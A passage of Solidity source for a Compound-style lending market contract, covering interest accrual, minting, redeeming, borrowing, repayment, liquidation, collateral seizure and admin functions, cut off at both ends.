cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ (MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior); require(mathErr == MathError.NO_ERROR, "could not calculate block delta"); /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor; uint interestAccumulated; uint totalBorrowsNew; uint totalReservesNew; uint borrowIndexNew; (mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr)); } (mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr)); } (mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return uint(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount); } struct MintLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint mintTokens; uint totalSupplyNew; uint accountTokensNew; uint actualMintAmount; } /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block * @param minter The address of the account which is supplying the assets * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) { /* Fail if mint not allowed */ uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0); } MintLocalVars memory vars; (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call `doTransferIn` for the minter and the mintAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * `doTransferIn` reverts if anything goes wrong, since we can't be sure if * side-effects occurred. The function returns the amount actually transferred, * in case of a fee. On success, the cToken holds an additional `actualMintAmount` * of cash. */ vars.actualMintAmount = doTransferIn(minter, mintAmount); /* * We get the current exchange rate and calculate the number of cTokens to be minted: * mintTokens = actualMintAmount / exchangeRate */ (vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa})); require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED"); /* * We calculate the new total supply of cTokens and minter token balance, checking for overflow: * totalSupplyNew = totalSupply + mintTokens * accountTokensNew = accountTokens[minter] + mintTokens */ (vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED"); (vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED"); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[minter] = vars.accountTokensNew; /* We emit a Mint event, and a Transfer event */ emit Mint(minter, vars.actualMintAmount, vars.mintTokens); emit Transfer(address(this), minter, vars.mintTokens); /* We call the defense hook */ comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens); return (uint(Error.NO_ERROR), vars.actualMintAmount); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming cTokens * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, 0, redeemAmount); } struct RedeemLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint redeemTokens; uint redeemAmount; uint totalSupplyNew; uint accountTokensNew; } /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block * @param redeemer The address of the account which is redeeming the tokens * @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) { require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero"); RedeemLocalVars memory vars; /* exchangeRate = invoke Exchange Rate Stored() */ (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)); } /* If redeemTokensIn > 0: */ if (redeemTokensIn > 0) { /* * We calculate the exchange rate and the amount of underlying to be redeemed: * redeemTokens = redeemTokensIn * redeemAmount = redeemTokensIn x exchangeRateCurrent */ vars.redeemTokens = redeemTokensIn; (vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr)); } } else { /* * We get the current exchange rate and calculate the amount to be redeemed: * redeemTokens = redeemAmountIn / exchangeRate * redeemAmount = redeemAmountIn */ (vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa})); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr)); } vars.redeemAmount = redeemAmountIn; } /* Fail if redeem not allowed */ uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK); } /* * We calculate the new total supply and redeemer balance, checking for underflow: * totalSupplyNew = totalSupply - redeemTokens * accountTokensNew = accountTokens[redeemer] - redeemTokens */ (vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } /* Fail gracefully if protocol has insufficient cash */ if (getCashPrior() < vars.redeemAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the redeemer and the redeemAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken has redeemAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(redeemer, vars.redeemAmount); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[redeemer] = vars.accountTokensNew; /* We emit a Transfer event, and a Redeem event */ emit Transfer(redeemer, address(this), vars.redeemTokens); emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens); /* We call the defense hook */ comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens); return uint(Error.NO_ERROR); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount); } struct BorrowLocalVars { MathError mathErr; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { /* Fail if borrow not allowed */ uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ comptroller.borrowVerify(address(this), borrower, borrowAmount); return uint(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, borrower, repayAmount); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint repayAmount; uint borrowerIndex; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; uint actualRepayAmount; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) { /* Fail if repayBorrow not allowed */ uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0); } /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED"); (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED"); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex); return (uint(Error.NO_ERROR), vars.actualRepayAmount); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = cTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) { /* Fail if liquidate not allowed */ uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0); } /* Verify cTokenCollateral market's block number equals current block number */ if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0); } /* Fail if repayAmount = -1 */ if (repayAmount == uint(-1)) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0); } /* Fail if repayBorrow fails */ (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount); if (repayBorrowError != uint(Error.NO_ERROR)) { return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount); require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED"); /* Revert if borrower collateral token balance < seizeTokens */ require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call uint seizeError; if (address(cTokenCollateral) == address(this)) { seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ require(seizeError == uint(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens); /* We call the defense hook */ comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens); return (uint(Error.NO_ERROR), actualRepayAmount); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external override nonReentrant returns (uint) { return seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. * @param seizerToken The contract seizing the collateral (i.e. borrowed cToken) * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) { /* Fail if seize not allowed */ uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER); } MathError mathErr; uint borrowerTokensNew; uint liquidatorTokensNew; /* * We calculate the new borrower and liquidator token balances, failing on underflow/overflow: * borrowerTokensNew = accountTokens[borrower] - seizeTokens * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens */ (mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr)); } (mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accountTokens[borrower] = borrowerTokensNew; accountTokens[liquidator] = liquidatorTokensNew; /* Emit a Transfer event */ emit Transfer(borrower, liquidator, seizeTokens); /* We call the defense hook */ comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens); return uint(Error.NO_ERROR); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external override returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external override returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public override returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK); } ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); return uint(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external override nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > 